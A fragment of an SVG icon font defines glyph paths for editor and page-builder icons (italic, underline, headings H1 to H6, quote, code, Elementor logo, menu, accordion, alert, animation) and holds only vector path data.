<glyph glyph-name="editor-italic" unicode="&#xe807;" d="M333 101l6 27c1 1 10 3 26 7s29 9 37 13c6 7 10 18 13 32 0 2 7 33 20 95s25 120 37 177 17 88 17 96v9c-5 3-11 5-18 6s-14 2-22 2-15 1-19 2l6 33c7 0 20-1 39-2s35-2 49-2c14-1 27-1 39-1 11 0 22 0 32 1s25 1 40 2 26 2 32 2c-1-8-3-18-6-29-7-2-18-6-33-9s-27-8-35-11c-2-4-4-9-5-14s-2-9-3-13-2-8-2-15-2-11-3-14c-5-32-15-77-28-136s-22-98-25-116c-1-2-2-8-4-19s-5-20-7-29-4-18-5-27-2-15-2-19l0-6c4 0 24-4 61-10-1-9-3-20-5-32-3 0-6 0-11 0s-8-1-10-1c-6 0-16 2-29 4s-22 3-27 3c-30 1-53 1-68 1-11 0-26-1-46-3s-34-4-41-4z" horiz-adv-x="1000" />

<glyph glyph-name="editor-underline" unicode="&#xe808;" d="M266 570c-8 0-13 0-15 1l-1 28c3 1 7 1 13 1 13 0 25-1 37-2 28-1 46-2 54-2 19 0 37 1 54 1 25 1 41 1 48 2 12 0 22 0 28 1l-1-5 1-20v-3c-13-2-26-3-40-3-13 0-22-3-26-8-3-3-4-17-4-43 0-3 0-6 0-10 0-4 0-7 0-8l0-74 5-90c1-27 6-48 16-65 8-13 18-23 32-30 19-10 38-15 57-15 23 0 44 3 62 9 12 4 23 10 32 17 11 8 18 14 22 20 8 12 13 24 17 37 4 16 6 40 6 74 0 17 0 30-1 41s-2 24-4 39c-1 16-3 33-4 52l-1 19c-2 14-4 24-8 28-8 8-16 11-25 11l-33-1-4 1 0 27h28l67-3c16-1 37 1 63 3l6 0c1-9 2-14 2-17 0-1 0-5-1-10-10-2-19-4-28-4-15-2-24-4-25-5-4-4-5-8-5-14 0-1 0-4 0-8 0-4 0-8 0-10 2-4 5-47 8-128 1-41-1-74-5-98-4-16-8-29-14-39-8-14-20-27-36-39-17-13-36-22-60-29-23-7-51-11-83-11-36 0-67 5-92 15-26 10-45 24-58 40-14 16-22 37-27 62-4 18-5 43-5 77v106c0 41-2 64-6 69-4 8-20 12-46 13z m484-462c0-3-1-4-3-6s-4-2-7-2h-480c-2 0-5 1-7 2s-3 3-3 6v14c0 2 1 4 3 6s5 2 7 2h480c3 0 5-1 7-2s3-4 3-6v-14z" horiz-adv-x="1000" />

<glyph glyph-name="editor-paragraph" unicode="&#xe809;" d="M437 328c-92 0-165 53-165 145s73 147 165 147h250l0 0c23 0 41-19 41-42l0 0 0 0c0-23-18-41-41-41h-42v-415l0 0c0-23-19-42-42-42l0 0 0 0c-23 0-41 19-41 42v415h-42v-415l0 0c0-23-19-42-42-42l0 0 0 0c-23 0-41 19-41 42v206z" horiz-adv-x="1000" />

<glyph glyph-name="editor-h1" unicode="&#xe80a;" d="M673 142c-10 0-24 0-44 1s-34 1-43 1c-10 0-24 0-43-1s-33-1-43-1c-5 0-9 2-12 6s-4 10-4 15c0 7 1 12 5 15s8 5 13 6 10 1 16 2 12 3 15 5c7 4 11 19 11 45l-1 127c0 5 0 8 0 10-3 1-8 2-16 2h-219c-9 0-14-1-17-2-1-2-1-5-1-10l0-120c0-31 4-49 12-54 3-2 9-4 16-4s13-1 19-1 10-2 14-5 7-8 7-15c0-6-1-11-4-16s-7-6-12-6c-10 0-26 0-46 1s-35 1-45 1c-9 0-23 0-41-1s-32-1-42-1c-5 0-8 2-11 6s-4 10-4 15c0 7 1 11 5 15s7 5 11 5 10 2 16 3 10 3 13 5c7 5 11 20 11 47l0 18v264c0 1 0 4 0 9s0 9 0 12-1 7-1 12 0 10-1 14-1 8-2 12-2 8-4 11-3 4-5 5c-3 3-8 4-14 4s-12 1-17 1-10 2-14 5-6 8-6 14c0 6 2 11 4 16s7 7 12 7c10 0 25 0 45-1s35-1 45-1c9 0 23 0 41 1s32 1 41 1c6 0 10-3 12-7s5-10 5-16c0-7-2-11-6-14s-8-5-12-5-10-1-17-1-10-2-14-4c-7-5-11-22-11-52l0-105c0-4 0-8 1-10 3-1 7-1 12-1h228c5 0 9 1 12 1 1 2 1 6 1 10l0 105c0 30-4 47-11 52-4 2-10 3-19 4s-16 1-22 4-8 8-8 16c0 6 1 11 4 16s7 7 12 7c10 0 24 0 43-1s33-1 43-1c9 0 23 0 42 1s32 1 42 1c5 0 10-2 12-7s4-10 4-16c0-6-2-11-6-14s-8-5-12-5-11 0-17 0-11-2-14-5c-8-5-12-22-12-52l1-307c0-26 4-41 11-46 3-2 8-3 15-4s13-1 18-2 9-2 13-5 6-8 6-14c0-6-1-11-4-16s-7-7-12-7z m40 244l-18 30 114 84h31v-276c0-5 0-9 0-14s0-8-1-12 0-8 0-11-1-6-1-8l37 2v-39h-143v33c5 0 10 1 15 2 4 1 8 2 11 5s5 7 7 13 3 14 3 24v200l-55-33z" horiz-adv-x="1000" />

<glyph glyph-name="editor-h2" unicode="&#xe80b;" d="M631 142c-10 0-24 0-43 1s-34 1-44 1c-9 0-24 0-43-1s-33-1-43-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 12 6 15s7 5 12 6 10 1 17 2 11 3 14 5c7 4 11 19 11 45l0 127c0 5 0 8-1 10-3 1-8 2-16 2h-219c-8 0-14-1-17-2 0-2 0-5 0-10l-1-120c0-31 5-49 12-54 4-2 9-4 16-4s14-1 19-1 10-2 15-5 6-8 6-15c0-6-1-11-4-16s-7-6-12-6c-10 0-25 0-45 1s-35 1-45 1c-10 0-24 0-42-1s-32-1-41-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 11 5 15s7 5 12 5 9 2 15 3 10 3 14 5c7 5 11 20 11 47l-1 18v264c0 1 0 4 0 9s0 9 0 12 0 7 0 12-1 10-2 14-1 8-2 12-2 8-3 11-4 4-5 5c-4 3-9 4-15 4s-12 1-17 1-10 2-13 5-6 8-6 14c0 6 1 11 4 16s6 7 11 7c10 0 25 0 45-1s35-1 45-1c9 0 23 0 41 1s33 1 42 1c5 0 9-3 12-7s4-10 4-16c0-7-2-11-5-14s-8-5-13-5-10-1-16-1-11-2-14-4c-8-5-12-22-12-52l1-105c0-4 0-8 0-10 3-1 7-1 13-1h227c6 0 10 1 13 1 0 2 0 6 0 10l1 105c0 30-4 47-12 52-3 2-10 3-19 4s-16 1-22 4-8 8-8 16c0 6 1 11 4 16s7 7 12 7c10 0 24 0 43-1s34-1 43-1c9 0 24 0 42 1s33 1 42 1c6 0 10-2 12-7s5-10 5-16c0-6-2-11-6-14s-9-5-13-5-11 0-17 0-11-2-14-5c-7-5-11-22-11-52l0-307c0-26 4-41 11-46 4-2 9-3 15-4s13-1 18-2 10-2 13-5 6-8 6-14c0-6-1-11-4-16s-7-7-12-7z m152 322c-9 0-17-2-24-6s-13-9-16-15c3-3 6-8 7-13s2-9 2-12c0-3 0-7-2-11s-3-7-5-10c-3-4-7-6-11-8s-9-4-16-4c-5 0-9 2-13 4s-7 4-10 8c-3 3-5 7-7 11s-2 10-2 14c0 5 2 11 4 16s5 12 9 18 9 11 16 17c6 5 13 10 21 14s17 7 27 10 21 3 32 3c14 0 27-1 40-5s26-8 37-16 19-17 26-29 10-27 10-44c0-8-2-17-5-26s-9-20-17-31-19-24-33-38-33-30-56-48c-9-8-17-15-24-22s-12-13-16-20-8-11-11-16-4-9-4-12l98-3h3c5 0 10 1 14 2s8 2 11 5 5 6 7 10 2 9 2 16h32l-4-81h-219c0 17 2 32 7 46s10 26 17 37 16 21 25 31 19 18 29 27c12 12 22 22 31 32s15 20 20 30c6 9 10 18 12 27s4 18 4 27c0 8-1 16-2 24s-4 15-8 21-8 11-14 15c-7 3-14 5-24 5z" horiz-adv-x="1000" />

<glyph glyph-name="editor-h3" unicode="&#xe80c;" d="M631 142c-10 0-24 0-43 1-20 1-34 1-44 1-9 0-24 0-43-1-19-1-33-1-43-1-5 0-9 2-12 6-3 5-4 10-4 15 0 7 2 12 6 15 3 4 7 5 12 6 5 0 10 1 17 2 6 1 11 3 14 5 7 4 11 19 11 45l0 127c0 5 0 8-1 10-3 1-8 2-16 2h-219c-8 0-14-1-17-2 0-2 0-5 0-10l-1-120c0-31 5-49 12-54 4-2 9-4 16-4 7-1 14-1 19-1 5 0 10-2 15-5 4-4 6-8 6-15 0-6-1-11-4-16-3-5-7-7-12-7-10 0-25 0-45 1-20 1-35 1-45 1-10 0-24 0-42-1-18-1-32-1-41-1-5 0-9 2-12 7-3 4-4 9-4 14 0 7 2 11 5 15 3 3 7 5 12 6 4 0 9 1 15 2 6 1 10 3 14 5 7 5 11 20 11 47l-1 18v265c0 1 0 4 0 9 0 5 0 9 0 12 0 3 0 7 0 12-1 6-1 10-2 14 0 4-1 8-2 12 0 4-2 8-3 11-2 2-4 4-5 5-4 3-9 4-15 4-7 1-12 1-17 1-5 0-10 2-13 5-4 3-6 8-6 14 0 6 1 11 4 16 2 5 6 7 11 7 10 0 25 0 45-1 20-1 35-1 45-1 9 0 23 0 41 1 19 1 33 1 42 1 5 0 9-2 12-7 3-5 4-10 4-16 0-6-2-11-5-14-4-3-8-5-13-5-5 0-10 0-16-1-6-1-11-2-14-4-8-5-12-22-12-52l1-104c0-5 0-8 0-11 3 0 7 0 13 0h227c6 0 10 0 13 0 0 3 0 6 0 11l1 104c0 30-4 47-12 52-3 3-10 4-19 4s-16 2-22 4c-5 3-8 8-8 17 0 5 1 10 4 15 3 5 7 8 12 8 10 0 24-1 43-2 19-1 34-1 43-1 9 0 24 0 42 1 19 1 33 2 42 2 6 0 10-3 12-8 3-4 5-10 5-15 0-7-2-12-6-15-4-2-9-4-13-4-5 0-11-1-17-1-6 0-11-2-14-4-7-5-11-23-11-53l0-307c0-26 4-41 11-45 4-2 9-4 15-5 7-1 13-1 18-1 5-1 10-2 13-5 4-4 6-8 6-15 0-6-1-11-4-16-3-5-7-7-12-7z m53 61c0 5 1 10 3 15 1 5 4 9 7 12 3 3 6 6 11 8 4 2 9 3 14 3 6 0 11-1 15-3 4-2 7-5 9-8s5-7 6-10c1-4 1-8 1-11 0-3 0-7-1-11-1-5-4-9-6-12 2-3 4-6 7-8 3-3 7-5 11-7 4-1 8-3 13-3 4-1 9-2 14-2 10 0 20 2 27 5 8 4 15 8 20 14 5 6 9 13 12 21s4 17 4 26c0 9-1 18-3 26-2 9-6 17-12 24-6 7-13 12-23 16-10 5-21 7-36 7-1 0-3 0-5 0-2 0-4 0-7 0-3 0-5-1-8-1-2 0-4 0-6 0v36c2-1 4-1 5-1 1 0 2 0 4 0 24 0 43 5 56 16 13 12 20 28 20 49 0 9-1 16-3 23-1 7-4 13-8 18-4 5-9 8-15 11s-12 4-21 4c-4 0-9 0-13-1s-8-3-11-5-6-4-9-6c-3-3-5-5-6-8 3-4 5-8 6-13 1-4 2-9 2-12 0-3-1-7-2-10s-3-7-6-10c-2-4-6-6-10-9-5-2-10-3-16-3-6 0-10 1-14 3s-7 5-10 8c-2 4-5 7-6 12-1 4-2 9-2 14 0 7 2 15 6 24 5 9 11 17 20 25 9 8 20 14 33 19 13 5 28 8 46 8 15 0 30-1 43-4 14-3 26-9 36-16s18-16 24-27c5-11 8-25 8-41 0-7-1-14-4-22-2-8-7-16-13-23-6-8-13-14-23-20s-21-11-35-14v-1c16-3 30-7 42-13 11-6 21-13 29-21 7-9 13-18 17-27 4-10 5-20 5-31 0-17-3-32-10-46s-16-24-28-33c-12-9-25-16-42-20s-34-7-54-7c-19 0-35 2-49 6s-25 10-33 17-16 15-20 24c-4 9-6 18-6 26z" horiz-adv-x="1000" />

<glyph glyph-name="editor-h4" unicode="&#xe80d;" d="M631 142c-10 0-24 0-43 1s-34 1-44 1c-9 0-24 0-43-1s-33-1-43-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 12 6 15s7 5 12 6 10 1 17 2 11 3 14 5c7 4 11 19 11 45l0 127c0 5 0 8-1 10-3 1-8 2-16 2h-219c-8 0-14-1-17-2 0-2 0-5 0-10l-1-120c0-31 5-49 12-54 4-2 9-4 16-4s14-1 19-1 10-2 15-5 6-8 6-15c0-6-1-11-4-16s-7-6-12-6c-10 0-25 0-45 1s-35 1-45 1c-10 0-24 0-42-1s-32-1-41-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 11 5 15s7 5 12 5 9 2 15 3 10 3 14 5c7 5 11 20 11 47l-1 18v264c0 1 0 4 0 9s0 9 0 12 0 7 0 12-1 10-2 14-1 8-2 12-2 8-3 11-4 4-5 5c-4 3-9 4-15 4s-12 1-17 1-10 2-13 5-6 8-6 14c0 6 1 11 4 16s6 7 11 7c10 0 25 0 45-1s35-1 45-1c9 0 23 0 41 1s33 1 42 1c5 0 9-3 12-7s4-10 4-16c0-7-2-11-5-14s-8-5-13-5-10-1-16-1-11-2-14-4c-8-5-12-22-12-52l1-105c0-4 0-8 0-10 3-1 7-1 13-1h227c6 0 10 1 13 1 0 2 0 6 0 10l1 105c0 30-4 47-12 52-3 2-10 3-19 4s-16 1-22 4-8 8-8 16c0 6 1 11 4 16s7 7 12 7c10 0 24 0 43-1s34-1 43-1c9 0 24 0 42 1s33 1 42 1c6 0 10-2 12-7s5-10 5-16c0-6-2-11-6-14s-9-5-13-5-11 0-17 0-11-2-14-5c-7-5-11-22-11-52l0-307c0-26 4-41 11-46 4-2 9-3 15-4s13-1 18-2 10-2 13-5 6-8 6-14c0-6-1-11-4-16s-7-7-12-7z m244 90v-8c0-5 0-9 0-14s0-8-1-12 0-8 0-11-1-6-1-8l37 2v-39h-142v33c5 0 10 1 15 2s8 2 11 5 5 7 7 13 2 14 2 24v14h-130v46l172 221h30v-222h49v-46h-49z m-156 47h84v110l-84-110z" horiz-adv-x="1000" />

<glyph glyph-name="editor-h5" unicode="&#xe80e;" d="M631 142c-10 0-24 0-43 1s-34 1-44 1c-9 0-24 0-43-1s-33-1-43-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 12 6 15s7 5 12 6 10 1 17 2 11 3 14 5c7 4 11 19 11 45l0 127c0 5 0 8-1 10-3 1-8 2-16 2h-219c-8 0-14-1-17-2 0-2 0-5 0-10l-1-120c0-31 5-49 12-54 4-2 9-4 16-4s14-1 19-1 10-2 15-5 6-8 6-15c0-6-1-11-4-16s-7-6-12-6c-10 0-25 0-45 1s-35 1-45 1c-10 0-24 0-42-1s-32-1-41-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 11 5 15s7 5 12 5 9 2 15 3 10 3 14 5c7 5 11 20 11 47l-1 18v264c0 1 0 4 0 9s0 9 0 12 0 7 0 12-1 10-2 14-1 8-2 12-2 8-3 11-4 4-5 5c-4 3-9 4-15 4s-12 1-17 1-10 2-13 5-6 8-6 14c0 6 1 11 4 16s6 7 11 7c10 0 25 0 45-1s35-1 45-1c9 0 23 0 41 1s33 1 42 1c5 0 9-3 12-7s4-10 4-16c0-7-2-11-5-14s-8-5-13-5-10-1-16-1-11-2-14-4c-8-5-12-22-12-52l1-105c0-4 0-8 0-10 3-1 7-1 13-1h227c6 0 10 1 13 1 0 2 0 6 0 10l1 105c0 30-4 47-12 52-3 2-10 3-19 4s-16 1-22 4-8 8-8 16c0 6 1 11 4 16s7 7 12 7c10 0 24 0 43-1s34-1 43-1c9 0 24 0 42 1s33 1 42 1c6 0 10-2 12-7s5-10 5-16c0-6-2-11-6-14s-9-5-13-5-11 0-17 0-11-2-14-5c-7-5-11-22-11-52l0-307c0-26 4-41 11-46 4-2 9-3 15-4s13-1 18-2 10-2 13-5 6-8 6-14c0-6-1-11-4-16s-7-7-12-7z m118 46c1-3 4-6 6-8s7-4 10-6 8-3 12-4 8-1 11-1c10 0 19 2 26 6s12 10 17 17 7 14 9 22 3 17 3 26c0 5 0 11 0 17s-1 12-3 18c-1 7-3 13-5 19s-7 12-11 16-10 9-16 12-15 5-25 5c-7 0-16-2-26-4s-22-8-34-15l-21 17-2 167h130c6 0 11 0 15 1s9 2 13 5 5 5 7 10 3 10 3 16h31l-4-81-157-3v-89c4 2 8 4 13 5s10 3 16 4 11 2 16 2 11 1 16 1c21 0 39-3 54-9s27-14 37-25 18-22 23-36 7-28 7-42c0-19-3-36-10-51s-17-27-30-37-25-17-41-22-31-7-47-7c-17 0-32 2-44 6s-24 10-33 16-15 14-20 22-7 16-7 24c0 5 1 10 3 15s4 8 7 12 7 6 11 9 9 3 14 3c6 0 11-1 15-3s7-5 10-8 4-7 5-11 2-7 2-11c0-3 0-6-1-10s-3-7-5-10z" horiz-adv-x="1000" />

<glyph glyph-name="editor-h6" unicode="&#xe80f;" d="M631 142c-10 0-24 0-43 1s-34 1-44 1c-9 0-24 0-43-1s-33-1-43-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 12 6 15s7 5 12 6 10 1 17 2 11 3 14 5c7 4 11 19 11 45l0 127c0 5 0 8-1 10-3 1-8 2-16 2h-219c-8 0-14-1-17-2 0-2 0-5 0-10l-1-120c0-31 5-49 12-54 4-2 9-4 16-4s14-1 19-1 10-2 15-5 6-8 6-15c0-6-1-11-4-16s-7-6-12-6c-10 0-25 0-45 1s-35 1-45 1c-10 0-24 0-42-1s-32-1-41-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 11 5 15s7 5 12 5 9 2 15 3 10 3 14 5c7 5 11 20 11 47l-1 18v264c0 1 0 4 0 9s0 9 0 12 0 7 0 12-1 10-2 14-1 8-2 12-2 8-3 11-4 4-5 5c-4 3-9 4-15 4s-12 1-17 1-10 2-13 5-6 8-6 14c0 6 1 11 4 16s6 7 11 7c10 0 25 0 45-1s35-1 45-1c9 0 23 0 41 1s33 1 42 1c5 0 9-3 12-7s4-10 4-16c0-7-2-11-5-14s-8-5-13-5-10-1-16-1-11-2-14-4c-8-5-12-22-12-52l1-105c0-4 0-8 0-10 3-1 7-1 13-1h227c6 0 10 1 13 1 0 2 0 6 0 10l1 105c0 30-4 47-12 52-3 2-10 3-19 4s-16 1-22 4-8 8-8 16c0 6 1 11 4 16s7 7 12 7c10 0 24 0 43-1s34-1 43-1c9 0 24 0 42 1s33 1 42 1c6 0 10-2 12-7s5-10 5-16c0-6-2-11-6-14s-9-5-13-5-11 0-17 0-11-2-14-5c-7-5-11-22-11-52l0-307c0-26 4-41 11-46 4-2 9-3 15-4s13-1 18-2 10-2 13-5 6-8 6-14c0-6-1-11-4-16s-7-7-12-7z m164 183c-5 0-10-1-15-3-5-2-10-4-14-7-5-3-8-7-12-10-3-5-6-9-8-13 0-8 0-17 1-26s1-18 3-27 4-18 6-26 6-16 10-23c4-7 8-12 13-16 5-4 11-6 18-6 8 0 16 2 21 6 6 4 11 9 14 16 3 6 6 13 7 21s2 17 2 25c0 5 0 11 0 17s-1 13-2 20-3 12-5 19c-2 6-4 11-8 16s-7 9-12 12c-6 3-11 5-19 5z m106 108c0-5-1-9-2-13s-3-9-6-12c-3-3-6-6-10-8-4-2-8-3-14-3-6 0-11 1-16 3-4 2-7 5-10 8-3 3-5 7-5 10s-2 7-2 11c0 3 0 6 2 10s2 8 5 11c-3 4-7 8-12 10-5 3-12 5-19 5-9 0-16-2-23-6-6-4-12-9-17-15-5-6-9-14-12-23-4-8-7-17-9-27s-3-19-4-29-2-20-2-29c3 4 7 7 11 10 5 4 11 7 17 9 6 3 13 5 20 7 6 2 13 3 20 3 17 0 32-3 45-9s24-14 32-24c8-10 15-22 19-37 4-14 6-29 6-46 0-16-3-31-10-44-6-15-14-27-25-37s-24-19-39-25-31-9-49-9c-22 0-41 4-56 11s-28 20-37 34-16 33-21 54c-4 20-6 44-6 70 0 9 1 21 3 34s4 28 8 42c3 15 9 29 15 44 7 14 15 27 25 38s23 21 37 28 30 11 49 11c16 0 30-2 41-7s21-9 28-15c8-7 13-14 17-22 5-8 6-16 6-23z" horiz-adv-x="1000" />

<glyph glyph-name="editor-quote" unicode="&#xe810;" d="M482 584v-213c0-21-4-41-12-60-8-19-19-36-33-50-14-13-30-25-49-33-20-8-40-12-60-12h-20c-5 0-9 2-13 6s-6 8-6 14v39c0 5 2 9 6 13 3 4 8 6 13 6h20c21 0 39 8 54 23 15 15 23 33 23 54v10c0 8-3 15-9 20-6 6-12 9-20 9h-68c-16 0-30 5-41 17-12 11-17 25-17 41v116c0 16 5 30 17 41 11 11 25 17 41 17h116c16 0 30-6 41-17 12-12 17-25 17-41z m271 0v-213c0-21-4-41-12-60-8-19-19-36-33-50-14-13-30-25-50-33-19-8-39-12-60-12h-19c-5 0-9 2-14 6s-5 8-5 14v39c0 5 2 9 5 13 4 4 9 6 14 6h19c22 0 40 8 55 23 15 15 22 33 22 54v10c0 8-2 15-8 20s-12 9-20 9h-68c-16 0-30 5-41 17-11 11-17 25-17 41v116c0 16 6 30 17 41s25 17 41 17h116c17 0 30-6 42-17 11-12 16-25 16-41z" horiz-adv-x="1000" />

<glyph glyph-name="editor-code" unicode="&#xe811;" d="M770 139c-8 0-17 3-24 9-13 13-14 35-1 49l141 149-139 137c-13 14-14 35 0 49 13 13 35 14 48 1l163-162c14-13 14-35 1-48l-164-173c-7-8-16-11-25-11z m-356-126l274 615c8 17 0 37-18 45-17 8-37 0-45-18l-274-614c-8-18 0-38 18-46 4-2 9-3 14-3 13 0 25 8 31 21z m-143 135c14 13 14 35 2 49l-142 148 139 138c14 14 14 35 1 49-13 13-35 14-49 1l-163-162c-13-13-14-35-1-48l165-173c7-7 16-11 25-11 8 0 17 3 23 9z" horiz-adv-x="1000" />

<glyph glyph-name="elementor" unicode="&#xe812;" d="M0 850h200v-1000h-200v1000z m400-800h600v-200h-600v200z m0 400h600v-200h-600v200z m0 400h600v-200h-600v200z" horiz-adv-x="1000" />

<glyph glyph-name="elementor-circle" unicode="&#xe813;" d="M500 850c-276 0-500-224-500-500s224-500 500-500 500 224 500 500-224 500-500 500z m-125-708h-83v416h83z m333 0h-250v83h250z m0 166h-250v84h250z m0 167h-250v83h250z" horiz-adv-x="1000" />

<glyph glyph-name="pojome" unicode="&#xe814;" d="M500-150a474 474 0 0 0-188 37l-12 6v272l32-22a407 407 0 0 1 80-44 292 292 0 0 1 191 6 286 286 0 0 1 87 59 299 299 0 0 1 58 83 292 292 0 0 1 19 105 284 284 0 0 1-19 103 298 298 0 0 1-58 83 229 229 0 0 1-87 58h0a210 210 0 0 1-103 21 214 214 0 0 1-103-20 231 231 0 0 1-87-58 256 256 0 0 1-54-83 251 251 0 0 1-22-103v-429l-34 26a559 559 0 0 0-53 46 484 484 0 0 0-147 354 487 487 0 0 0 147 356 489 489 0 0 0 353 144 488 488 0 0 0 353-144 487 487 0 0 0 147-356 484 484 0 0 0-147-353 484 484 0 0 0-353-147z m-159 71a435 435 0 0 1 159-29 443 443 0 0 1 324 134 444 444 0 0 1 134 324 447 447 0 0 1-134 327 448 448 0 0 1-324 130 448 448 0 0 1-324-130 447 447 0 0 1-134-327 444 444 0 0 1 135-324l15-15v342a292 292 0 0 0 25 119 295 295 0 0 0 66 95 268 268 0 0 0 100 68 252 252 0 0 0 117 23 251 251 0 0 0 118-22 270 270 0 0 0 99-69 340 340 0 0 0 67-95 325 325 0 0 0 23-119 333 333 0 0 0-23-122 341 341 0 0 0-67-98 328 328 0 0 0-99-68 330 330 0 0 0-221-7 462 462 0 0 0-56 31v-167z m159 232a222 222 0 0 0-76 13 214 214 0 0 0-64 43 287 287 0 0 0-44 62 194 194 0 0 0-17 82 187 187 0 0 0 17 77 210 210 0 0 0 106 106 223 223 0 0 0 154 0 215 215 0 0 0 64-43 159 159 0 0 0 44-65 184 184 0 0 0 16-76 194 194 0 0 0-17-80 190 190 0 0 0-44-63 212 212 0 0 0-63-44 222 222 0 0 0-76-12z m0 356a180 180 0 0 1-62-11 168 168 0 0 1-84-87 145 145 0 0 1-13-60 152 152 0 0 1 13-63 243 243 0 0 1 36-52 171 171 0 0 1 50-34 188 188 0 0 1 122 0 170 170 0 0 1 49 34 151 151 0 0 1 35 50 154 154 0 0 1 13 64 145 145 0 0 1-13 60 119 119 0 0 1-34 50 174 174 0 0 1-52 36 180 180 0 0 1-60 13z" horiz-adv-x="1000" />

<glyph glyph-name="plus" unicode="&#xe815;" d="M454 704c-12-12-16-25-16-41v-246h-250c-42 0-63-21-63-63s21-62 63-62h250v-246c0-17 4-33 16-46 13-13 29-17 46-17 17 0 33 4 42 17 12 13 21 25 21 46v246h245c42 0 63 21 63 62s-21 63-63 63h-245v246c0 16-5 29-21 41-13 13-25 17-42 17-17 0-33-4-46-17z" horiz-adv-x="1000" />

<glyph glyph-name="menu-bar" unicode="&#xe816;" d="M104 517h792c33 0 62 29 62 62s-29 63-62 63h-792c-33 0-62-29-62-63s29-62 62-62z m0-250h792c33 0 62 29 62 62s-29 63-62 63h-792c-33 0-62-29-62-63s29-62 62-62z m0-250h792c33 0 62 29 62 62s-29 63-62 63h-792c-33 0-62-29-62-63s29-62 62-62z" horiz-adv-x="1000" />

<glyph glyph-name="apps" unicode="&#xe817;" d="M167 517h166v166h-166v-166z m250-500h166v166h-166v-166z m-250 0h166v166h-166v-166z m0 250h166v166h-166v-166z m250 0h166v166h-166v-166z m250 416v-166h166v166h-166z m-250-166h166v166h-166v-166z m250-250h166v166h-166v-166z m0-250h166v166h-166v-166z" horiz-adv-x="1000" />

<glyph glyph-name="accordion" unicode="&#xe818;" d="M938 600h-875c-35 0-63-28-63-62v-375c0-35 28-63 63-63h875c34 0 62 28 62 63v375c0 34-28 62-62 62z m20-437c0-12-9-21-20-21h-875c-12 0-21 9-21 21v375c0 11 9 20 21 20h875c11 0 20-9 20-20v-375z m-854 520h792c11 0 21 10 21 21s-10 21-21 21h-792c-11 0-21-9-21-21s10-21 21-21z m0 125h792c11 0 21 10 21 21s-10 21-21 21h-792c-11 0-21-9-21-21s10-21 21-21z m792-916h-792c-11 0-21-10-21-21s10-21 21-21h792c11 0 21 9 21 21s-10 21-21 21z m0 125h-792c-11 0-21-10-21-21s10-21 21-21h792c11 0 21 9 21 21s-10 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="alert" unicode="&#xe819;" d="M500 829c-264 0-479-215-479-479s215-479 479-479 479 215 479 479-215 479-479 479z m0-917c-241 0-437 197-437 438s196 438 437 438 438-197 438-438-197-438-438-438z m0 542c-34 0-62-28-62-62v-250c0-35 28-63 62-63s63 28 63 63v250c0 34-28 62-63 62z m21-312c0-12-9-21-21-21s-21 9-21 21v250c0 11 10 21 21 21s21-10 21-21v-250z m-21 479c-34 0-62-28-62-63s28-62 62-62 63 28 63 62-28 63-63 63z m0-83c-11 0-21 9-21 20s10 21 21 21 21-9 21-21-9-20-21-20z" horiz-adv-x="1000" />

<glyph glyph-name="animation-text" unicode="&#xe81a;" d="M165 545c-6 16-33 16-39 0l-125-333c-4-11 2-23 13-27 10-4 22 1 26 12l42 112c1 0 1-1 1-1h125c1 0 1 1 1 1l42-112c4-8 11-14 20-14 2 0 5 1 7 2 11 4 16 16 12 27l-125 333z m-67-195l48 128 48-128h-96z m590 83c34 0 62-28 62-62 0-12 9-21 21-21s21 9 21 21c0 57-47 104-104 104s-105-47-105-104v-83c0-58 47-105 105-105s104 47 104 105c0 11-10 20-21 20s-21-9-21-20c0-35-28-63-62-63s-63 28-63 63v83c0 34 28 62 63 62z m-250 42c-24 0-45-8-63-21v84c0 11-9 20-21 20s-21-9-21-20v-167-21-42-20-84c0-11 10-21 21-21s21 10 21 21v1c18-13 39-22 63-22 57 0 104 47 104 105v83c0 57-47 104-104 104z m62-187c0-35-28-63-62-63s-63 28-63 63v20 42 21c0 34 28 62 63 62s62-28 62-62v-83z m497-239c-1 2-27 41-80 49v210h21c11 0 20 10 20 21s-9 21-20 21h-21v252c53 9 79 48 80 49 6 10 3 23-7 29-9 6-22 3-28-6-1-2-22-32-66-32s-65 30-66 32c-6 9-19 12-28 6-10-6-13-19-7-28 1-2 26-41 80-50v-252h-21c-11 0-21-9-21-21s10-21 21-21h21v-210c-54-8-79-48-80-49-6-10-3-23 6-29 10-6 23-3 29 6 1 2 22 32 66 32s65-30 66-31c4-7 10-10 17-10 4 0 8 1 11 3 10 6 13 19 7 29z" horiz-adv-x="1000" />

<glyph glyph-name="animation" unicode="&#xe81b;" d="M973 365l-208 208c-2 2-4 4-7 5-1 0-2 0-3 0-2 1-3 1-5 1-1 0-2 0-3 0-2-1-3-1-5-1-2-1-5-3-7-5l0 0-208-208c-8-8-8-22 0-30l208-208c1-1 2-1 3-2 1-1 2-2 4-2 3-2 5-2 8-2s5 0 8 2c2 0 4 2 6 4 0 0 1 0 1 0l208 208c8 8 8 22 0 30z m-339-77l95 95v-66l-62-62-33 33z m95-30v-66l-33 33 33 33z m0 250v-66l-125-125-33 33 158 158z m42-316v316l158-158-158-158z m-423 298c-8 8-21 8-29 0l-125-125c-8-8-8-22 0-30l125-125c4-4 9-6 14-6 6 0 11 2 15 6 8 8 8 22 0 30l-110 110 110 110c8 8 8 22 0 30z m57-140l151 152c9 8 9 21 0 29s-21 9-29 0l-167-166c-8-8-8-22 0-30l167-166c4-4 9-6 15-6s10 2 14 6c9 8 9 21 0 29l-151 152z m-265 98c-8 8-22 8-30 0l-83-83c-8-8-8-22 0-30l83-83c4-4 10-6 15-6s11 2 15 6c8 8 8 21 0 29l-69 69 69 69c8 8 8 21 0 29z" horiz-adv-x="1000" />

